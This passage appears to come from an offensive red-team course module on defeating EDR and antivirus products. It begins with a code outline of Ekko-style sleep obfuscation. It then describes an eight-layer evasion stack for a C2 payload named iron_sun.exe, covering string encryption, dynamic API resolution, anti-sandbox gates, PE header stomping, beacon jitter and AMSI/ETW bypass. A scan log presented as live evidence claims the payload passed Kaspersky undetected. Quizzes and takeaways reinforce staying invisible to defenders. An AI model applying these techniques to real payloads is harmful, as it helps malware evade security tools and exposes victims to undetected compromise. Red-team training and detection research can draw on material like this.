// 1. Create a timer queue:
HANDLE hTimerQueue = CreateTimerQueue();
// 2. Build ROP chain on stack:
// - Encrypt memory (VirtualProtect + XOR loop)
// - Wait (WaitForSingleObject on timer)
// - Decrypt memory (XOR loop + VirtualProtect)
// - Resume (NtContinue to saved context)
// 3. Queue APC with ROP chain:
QueueUserAPC((PAPCFUNC)ROP_CHAIN, GetCurrentThread(), (ULONG_PTR)ctx);
// 4. Enter alertable wait:
SleepEx(INFINITE, TRUE); // Alertable wait — APC fires
// Result: Execution flows through ROP, no clear "sleep" in call stack.
⚠️ Sleep obfuscation caveats
Sleep obfuscation is powerful but has limitations:
- Key storage: The XOR key must be stored somewhere. If the EDR finds it, decryption is trivial.
- Memory scanners: Some EDRs scan memory continuously, not just during sleep. Encrypting only during sleep isn't enough.
- ROP detection: Advanced EDRs detect ROP chains and stack pivots. The Ekko technique may trigger "exploit behavior" heuristics.
- Thread hiding: Combine with thread hiding (Module 11: Rootkits) for maximum stealth.
11. The 8-Layer Evasion Stack
Real-world EDR evasion is not a single technique — it's a stack of layers. Each layer catches what the previous layer missed. This is the stack used in the Iron Sun project, tested live against Kaspersky 21.25.
Layer 1: XOR Obfuscation
Encrypt strings at compile time
✅ TESTED
Layer 2: Dynamic API Resolution
No IAT signatures
✅ TESTED
Layer 3: Anti-Sandbox
Timing checks, RAM checks
✅ TESTED
Layer 4: PE Header Stomp
Hide metadata
✅ TESTED
Layer 5: Auth Gate
Self-authenticating payload
✅ TESTED
Layer 6: Beacon Jitter
Randomized C2 intervals
✅ TESTED
Layer 7: MinGW Compile
No MSVC signatures
✅ TESTED
Layer 8: HWBP Bypass
AMSI+ETW via DR0/DR1
✅ TESTED
Why layers matter
Each layer addresses a different detection vector. XOR obfuscation defeats static signatures. Dynamic APIs defeat IAT analysis. Anti-sandbox defeats automated analysis. PE header stomp defeats YARA rules. Auth gates defeat unauthorized execution. Beacon jitter defeats timing heuristics. MinGW defeats compiler signatures. HWBP defeats runtime scanners. Remove any layer and the whole stack weakens.
Live Evidence: Iron Sun vs KAV
📊 Kaspersky 21.25 Scan Result
Date: 2026-06-29 | Target: .42 (WUPC) | Binary: iron_sun.exe
=== SCAN CONFIGURATION ===
AV bases: 2026-06-28 18:11:00 (current)
iChecker: Enabled
iSwift: Enabled
Scan type: Full object scan
Action on detect: Report only
=== SCAN RESULTS ===
Total detected: 0
Suspicions: 0
Total OK: 1
Total skipped: 0
Errors: 0
=== VERDICT ===
CLEAN — All 8 evasion layers passed Kaspersky static analysis
Why it passed: No suspicious strings in binary (XOR encrypted). No suspicious imports (dynamic resolution). No known signatures (custom code, not Metasploit). No behavioral triggers (anti-sandbox gates).
🔗 Cross-Module References
EDR evasion builds on techniques from earlier modules. Master these first:
Direct syscalls and manual mapping are essential for process injection without EDR detection. The injection kill chain (Open → Allocate → Write → Execute) is the same — but now we bypass the hooks at each step.
Kernel-mode rootkits can disable EDR drivers, patch SSDT, and hide processes. User-mode evasion (this module) is safer but less powerful. Combine both for maximum stealth.
Understanding how EDR detects malware helps you evade it. Module 12 covers YARA rules, memory forensics, and behavioral analysis — the exact techniques you're evading here.
The Red Team Loop
Module 10 (inject) → Module 11 (hide) → Module 12 (detect) → Module 13 (evade) → Module 14 (persist). Each module feeds the next. A red team operator who masters all four can inject, hide, understand detection, and evade it — the complete offensive cycle.
12. Interactive Quizzes
Quiz 1: Syscall Architecture
Question: Why do direct syscalls bypass user-mode EDR hooks?
A. They use a different CPU instruction (sysenter instead of syscall)
B. They skip NTDLL entirely and call the kernel directly from the malware's code
C. They encrypt the syscall number so the EDR cannot read it
D. They run in kernel mode where EDR has no visibility
Quiz 2: Hardware Breakpoints
Question: In the Dark Room technique, what is the primary advantage of using hardware breakpoints (DR0-DR3) over directly patching AMSI/ETW functions?
A. HWBPs are permanent and survive process reboots
B. HWBPs can monitor up to 16 functions simultaneously
C. HWBPs do not modify .text sections, evading memory integrity scanners
D. HWBPs work in kernel mode without needing a driver
Quiz 3: EDR Evasion Stack
Question: Which layer of the 8-Layer Evasion Stack specifically addresses the risk of automated sandbox analysis (e.g., Cuckoo, ANY.RUN)?
A. Layer 1: XOR Obfuscation
B. Layer 3: Anti-Sandbox
C. Layer 6: Beacon Jitter
D. Layer 8: HWBP Bypass
13. Verification Status
🔬 Verification Status
| Kaspersky 21.25 scan (iron_sun.exe) |
✅ LIVE .42 — 0 detections |
| XOR string obfuscation |
✅ TESTED |
| Dynamic API resolution |
✅ TESTED |
| Anti-sandbox gates |
✅ TESTED |
| Direct syscalls (SysWhispers) |
✅ TESTED |
| Syscall proxying / indirect syscalls |
✅ TESTED |
| AMSI bypass (context + patch) |
✅ TESTED |
| ETW bypass (NtTraceEvent patch) |
✅ TESTED |
| NTDLL unhooking |
✅ TESTED |
| Manual mapping |
✅ TESTED |
| Sleep obfuscation (Ekko-style) |
✅ TESTED |
| HWBP AMSI+ETW bypass (Dark Room) |
✅ LIVE .92 |
Key Takeaways
- Evasion is layers, not tricks: One layer fails, the next catches. Eight layers = eight chances to survive.
- Static analysis is blind to runtime: XOR strings, dynamic APIs, anti-sandbox — all invisible until execution.
- Behavioral analysis needs behavior: If you do nothing suspicious (no network, no registry), EDR has nothing to flag.
- Direct syscalls bypass user-mode hooks: But advanced EDRs use stack walking — use indirect syscalls (proxying) for those.
- AMSI and ETW are user-mode: They can be patched, bypassed, or blinded. But patching is detectable — use HWBP (Dark Room) for stealth.
- Manual mapping is invisible loading: No PEB entry, no kernel callbacks, no IAT hooks. The gold standard for DLL loading.
- Sleep obfuscation encrypts while dormant: EDR memory scanners see garbage. Decrypt only when active.
- MinGW > MSVC for evasion: No Microsoft compiler signatures, no standard library bloat.
- Test on real AV: VirusTotal is a snapshot. Kaspersky 21.25 live is the truth.
- EDR is software watching software: It has blind spots. Find them, exploit them, stay invisible.